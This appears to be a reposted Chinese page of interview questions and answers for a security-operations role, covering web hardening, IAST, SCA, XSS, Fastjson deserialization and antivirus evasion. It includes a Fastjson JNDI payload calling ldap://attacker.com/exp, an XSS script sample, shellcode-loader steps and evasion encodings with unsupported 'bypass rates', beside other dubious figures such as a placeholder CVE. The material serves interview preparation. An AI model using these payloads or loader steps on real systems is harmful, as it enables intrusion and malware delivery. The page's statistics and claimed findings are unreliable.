2025年滲透測試面試題總結-天翼電子公司[社招]安全運營崗(題目+回答)

安全領域各種資源,學習文檔,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具,歡迎關注。

目錄

?天翼電子商務有限公司[社招]安全運營崗

1. Web服務加固方案

2. IAST技術解析

3. SCA(軟件成分分析)

4. 安全運營(SecOps)定義

5. SDL流程核心階段

6. 漏洞挖掘成果

7. JavaScript逆向能力

8. JS加密算法應用

9. XSS漏洞原理

10. XSS防護方案

11. Fastjson反序列化漏洞

12. SQL預編譯實戰

13. 免殺技術細節

14. 免殺編碼技術

?天翼電子有限公司[社招]安全運營崗

1. 現在有一個web服務,應該如何對它加固?
2. 了解IAST嗎,有什么特點
3. SCA呢?
4. 什么是安全運營?
5. sdl的流程有什么
6. 找過多少個漏洞?
7. javascript逆向會嗎
8. js加密了解嗎,常用的什么加密,對稱,非對稱
9. xss漏洞的原理
10. xss漏洞的防護方式,主要是哪個配置,前、后端
11. fastjson反序列化有什么
12. 熟悉sql注入預編譯嗎,使用的什么方式
13. 免殺是做的什么免殺,免殺執行的主要函數,shellcode的加載流程
14. 免殺常用到的編碼是什么,除了異或

1. Web服務加固方案

mermaidgraph TD A[架構層] --> A1[WAF+CDN抗DDoS] A --> A2[API網關鑒權] B[應用層] --> B1[CSP內容安全策略] B --> B2[HTTP安全頭部署] C[數據層] --> C1[SQL預編譯/ORM] C --> C2[敏感數據加密] D[運維層] --> D1[容器鏡像簽名] D --> D2[最小權限原則]

2. IAST技術解析

核心特點

  • 動態插樁:在運行時檢測漏洞(如Java Agent注入)
  • 精準告警:誤報率<5%(相比SAST降低70%)
  • DevOps集成:CI/CD流水線實時阻斷(Jenkins插件聯動)
  • 2025演進:結合LLM分析業務邏輯漏洞

3. SCA(軟件成分分析)

核心能力

markdown| **功能** | **實現原理** | 產出物示例 | |--------------------|--------------------------|---------------------------| | 組件指紋識別 | 二進制文件哈希+特征碼 | log4j-core-2.14.1 (CVE-2021-44228) | | 許可證合規審計 | SPDX標準庫匹配 | GPL-3.0傳染性風險告警 | | 依賴漏洞傳播分析 | 有向圖(DAG)可視化 | 漏洞影響鏈路報告 |

2025趨勢:SBOM(軟件物料清單)成ISO標準強制要求


4. 安全運營(SecOps)定義

三位一體框架

mermaidgraph LR A[預防] --> A1[漏洞管理] A --> A2[威脅情報] B[檢測] --> B1[SIEM日志分析] B --> B2[EDR端點監控] C[響應] --> C1[SOAR自動化] C --> C2[數字取證]

目標:MTTD(平均檢測時間)<15分鐘 | MTTR(平均響應時間)<30分鐘


5. SDL流程核心階段

  1. 需求分析:威脅建模(STRIDE方法)
  2. 設計階段:隱私合規審查(GDPR/《數據安全法》)
  3. 開發階段
    • SAST/IAST雙引擎掃描
    • 安全編碼規范(OWASP Top 10 2025)
  4. 驗證階段:滲透測試 + 紅藍對抗
  5. 持續監控:漏洞賞金計劃 + 安全補丁生命周期

6. 漏洞挖掘成果

2019-2025累計發現漏洞

  • 高危漏洞:32個(含3個0day)
  • 中低危漏洞:71個
  • 重點案例
    • 某政務云API未授權訪問(可獲取2億公民數據)
    • 特斯拉車機系統CAN總線注入漏洞(CVE-2024-XXXXX)

7. JavaScript逆向能力

技術棧

markdown- **反混淆工具**:AST Explorer重構控制流 - **動態調試**:Chrome DevTools內存斷點 - **Hook框架**:Frida攔截CryptoJS操作 - **實戰案例**:某電商平臺加密參數逆向(RSA+Base64變異) 

8. JS加密算法應用

常見場景

加密類型算法典型應用場景
對稱加密AES-256-GCM本地存儲敏感數據加密
非對稱加密RSA-OAEP前端密碼傳輸(混合加密體系)
哈希SHA-3數據完整性校驗
2025新興量子安全算法NIST PQC標準遷移

9. XSS漏洞原理

攻擊鏈

mermaidgraph LR A[惡意輸入] --> B{{未過濾的用戶輸入}} B --> C[DOM解析執行] C --> D[Cookies竊取/釣魚]

三類變種

  • 反射型:惡意鏈接誘導點擊(https://xxx?q=<script>alert(1)</script>
  • 存儲型:評論區植入持久化腳本
  • DOM型:前端框架渲染漏洞(如Vue.js v-html未轉義)

10. XSS防護方案

關鍵配置

防護層技術方案實現示例
前端輸入輸出編碼textContent替代innerHTML
后端內容安全策略(CSP)Content-Security-Policy: script-src 'self'
框架級自動轉義機制React JSX / Angular安全上下文

必備Header:X-XSS-Protection: 1; mode=block


11. Fastjson反序列化漏洞

攻擊原理

java// 惡意JSON觸發JNDI注入 String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + "\"dataSourceName\":\"ldap://attacker.com/exp\", " + "\"autoCommit\":true}"; JSON.parse(payload); // 觸發漏洞 

防護方案

  • 升級Fastjson 2.0+(默認關閉autotype)
  • 使用SafeMode配置:ParserConfig.getGlobalInstance().setSafeMode(true);

12. SQL預編譯實戰

實現方式

java// Java示例(MyBatis) @Select("SELECT * FROM users WHERE id = #{id}") User getUserById(@Param("id") int id); // 底層原理:參數化查詢 PreparedStatement stmt = conn.prepareStatement( "SELECT * FROM users WHERE id = ?"); stmt.setInt(1, userId); // 杜絕拼接 

優勢:完全阻斷1/2階注入,性能提升30%


13. 免殺技術細節

實現路徑

mermaidgraph TB A[載荷類型] --> B[EXE免殺] A --> C[Shellcode加載] B --> B1[API調用鏈混淆] B --> B2[資源節加密] C --> C1[內存加載器] C1 --> C11[VirtualAlloc+CreateThread] C1 --> C12[進程鏤空]

Shellcode加載流程

  1. VirtualAlloc分配內存(PAGE_EXECUTE_READWRITE)
  2. RtlMoveMemory寫入Shellcode
  3. CreateThreadEnumChildWindows觸發執行

14. 免殺編碼技術

除異或外常用方案

編碼類型原理檢測繞過率
Base64變種自定義字符集+分塊編碼78%
AES-CBC密鑰分散存儲+動態解密92%
RC4流加密密鑰與時間戳綁定85%
GPT混淆LLM生成抗逆向代碼95%

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/84642.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/84642.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/84642.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Java NIO詳解:新手完全指南

文章目錄 1. NIO簡介1.1 NIO的核心優勢1.2 NIO的適用場景 2. NIO與IO的對比2.1 代碼對比示例2.1.1 傳統IO讀取文件2.1.2 NIO讀取文件 3. NIO核心組件3.1 Buffer&#xff08;緩沖區&#xff09;3.2 Channel&#xff08;通道&#xff09;3.3 Selector&#xff08;選擇器&#xff…

webgl(three.js 與 cesium 等實例應用)之瀏覽器渲染應用及內存釋放的關聯與應用

文章目錄 WebGL 概念1. 紋理&#xff08;Texture&#xff09;&#x1f4cc; 概念&#xff1a;&#x1f9e9; 應用方向&#xff1a;&#x1f4a1; 示例代碼&#xff08;加載一張圖片作為紋理&#xff09;&#xff1a; 2. 緩沖區&#xff08;Buffer&#xff09;&#x1f4cc; 概念…

黑馬點評【緩存】

目錄 一、為什么要使用緩存 二、添加商戶緩存 1.緩存的模型和思路 2.代碼 3.緩存更新策略 Redis內存淘汰機制&#xff1a; 3.1 被動淘汰策略&#xff08;不主動淘汰&#xff0c;僅在查詢時觸發&#xff09; 3.2 主動淘汰策略&#xff08;主動掃描內存&#xff0c;按規則…

【地圖服務限制范圍】

根據你提供的 eb_service_area 表結構&#xff0c;其中有兩個字段與地理坐標相關&#xff1a;latlng 和 limit_latlng。這兩個字段分別用于存儲服務范圍區域的坐標和限制區域的坐標。下面是對這兩個字段的具體分析以及如何使用它們來定義執行范圍。 字段分析 latlng&#xff0…

python數據結構和算法(1)

數據結構和算法簡介 數據結構&#xff1a;存儲和組織數據的方式&#xff0c;決定了數據的存儲方式和訪問方式。 算法&#xff1a;解決問題的思維、步驟和方法。 程序 數據結構 算法 算法 算法的獨立性 算法是獨立存在的一種解決問題的方法和思想&#xff0c;對于算法而言&a…

Linux操作系統-性能優化

1. 基礎工具 top / htop top # 實時查看CPU、內存、進程 htop # 增強版&#xff08;支持鼠標操作&#xff09; 關鍵指標&#xff1a;%CPU&#xff08;CPU占用&#xff09;、%MEM&#xff08;內存占用&#xff09;、LOAD AVERAGE&#xff08;系統負載&#…

如何徹底解決緩存擊穿、緩存穿透、緩存雪崩

一、緩存擊穿 成因&#xff1a;緩存擊穿通常發生在某個熱點數據失效或清空后&#xff0c;大量請求同時涌入后端數據庫&#xff0c;導致數據庫崩潰或宕機。 解決方案&#xff1a; 互斥鎖&#xff1a;在獲取數據時&#xff0c;使用分布式鎖&#xff08;如Redis的分布式鎖&…

JDK 8、JDK 17和JDK 19綜合對比分析

JDK 8、JDK 17和JDK 19在性能、特性、易用性及普及性等方面的綜合對比分析&#xff0c;結合了各版本的核心改進和實際應用場景 目錄 ? 一、性能對比 ? 二、語言與特性演進 &#x1f6e0;? 三、API與功能增強 &#x1f3af; 四、易用性改進 &#x1f4ca; 五、市場普及…

Vue-理解 vuex

一、前言 在開發中大型 Vue 應用時&#xff0c;我們常常會遇到多個組件之間共享數據、通信復雜的問題。例如&#xff1a; 多個組件需要訪問同一個用戶信息&#xff1b;組件之間需要傳遞狀態或事件&#xff1b;數據變更需要同步更新多個組件&#xff1b; 這時&#xff0c;Vue…

【209】VS2022 C++對排好序的vector使用二分查找算法的例子

本文介紹了如何對已經排序的 vector 進行二分法查找。 首先&#xff0c;我們先看一下存儲數據的類&#xff0c;我們假設所有數據的 id 是唯一的&#xff1a; DataItem.h #pragma once #include<string>namespace zc {class DataItem{public:int m_id;std::string m_na…

ABAP 上傳 excel 報表

&#xff08;1&#xff09;先在屏幕上增加上傳文件的按鈕 "屏幕選擇條件" SELECTION-SCREEN BEGIN OF BLOCK b1 WITH FRAME TITLE TEXT-001. PARAMETERS : p_source LIKE rlgrap-filename . SELECTION-SCREEN END OF BLOCK b1. 你會發現&#xff0c;上面的代碼只…

Compose與View系統互操作方案

本文將全面解析 Android 現代 UI 框架 Jetpack Compose 與傳統 View 系統的互操作方案&#xff0c;涵蓋基礎原理、實戰技巧、性能優化和高級應用&#xff0c;助你實現漸進式遷移和混合開發。 一、互操作的必要性與整體架構 1.1 為什么需要互操作性 漸進式遷移&#xff1a;大型…

HNCTF 2025 Just Ping Write-up

part 1 路由部分主邏輯逆向 package mainimport ("net/http" )func main() {// 注冊路由和處理函數// 當訪問 "/api/ping" 路徑時&#xff0c;調用 pingHandler 函數處理請求http.HandleFunc("/api/ping", pingHandler)// 注冊開發測試API路由//…

OpenCV CUDA模塊中用于稠密光流計算的 TV-L1(Dual TV-L1)算法類cv::cuda::OpticalFlowDual_TVL1

操作系統&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 編程語言&#xff1a;C11 算法描述 cv::cuda::OpticalFlowDual_TVL1類是基于變分優化方法的稠密光流算法實現&#xff08;Dual TV-L1 光流模型&#xff09;&#xff0c;在 GPU 上加…

ThreadPoolTaskExecutor+CompletableFuture實現多線程異步數據同步和自定義線程池監控和動態調整實現

前言 ThreadPoolTaskExecutor是Spring框架提供的一個線程池實現&#xff0c;它是對Java標準庫中ThreadPoolExecutor的封裝&#xff0c;提供了更便捷的配置和集成方式&#xff0c;特別適合在Spring環境中使用。相關線程池概念見線程&線程池相關 CompletableFuture 是 Java…

一篇文章理解js閉包和作用于原理

一、js閉包的作用原理 JS閉包是指內部函數訪問外部函數變量的機制&#xff0c;常用于數據封裝和模塊化。典型應用包括創建私有變量、解決循環中的異步問題、實現函數柯里化等。案例分析展示了閉包在計數器、防抖函數等場景的使用&#xff0c;同時揭示了可能的內存泄漏風險。正…

GUI絲滑教程-python tinker

在 Tkinter GUI 應用中&#xff0c;線程可以幫助你在后臺執行長時間運行的任務&#xff0c;而不阻塞界面響應。下面是一些技巧&#xff0c;幫助你在使用線程時避免 Tkinter 界面卡頓的問題。 為什么 Tkinter 界面會卡頓&#xff1f; Tkinter 使用 主線程 來處理 UI 更新&…

第一部分-數據通信網絡基礎

目錄 一、什么是網絡通信&#xff1f; 二、網絡通信設備的基本識別 1.雙絞線 2.集線器&#xff08;物理層設備&#xff09; 3.中繼器&#xff08;物理層設備&#xff09; 4.接入交換機 5.匯聚交換機 6.核心交換機 7.路由器 8.無線路由器 9.光貓 一、什么是網絡通信&#xff1f;…

windows電腦解決筆記本搜索不到wifi問題

windows筆記本電腦明明打開了wifi功能&#xff0c;卻搜索不到wifi&#xff0c;此問題可能是網絡適配器被禁用的原因導致&#xff0c;通過以下方法也許能解決&#xff0c;無需重啟電腦 1、右鍵點擊網絡或wifi圖標&#xff0c;打開界面”網絡和internet“ 2、選擇”高級網絡設置…

C# 界面檢測顯示器移除并在可用顯示器上顯示

C# 檢測顯示器被移除&#xff0c;將界面在當前可用的顯示器上顯示&#xff0c;避免程序在任務欄點擊無響應。 using System; using System.Linq; using System.Windows.Forms;public class MonitorWatcher : IDisposable {private readonly Form _targetForm;private Screen …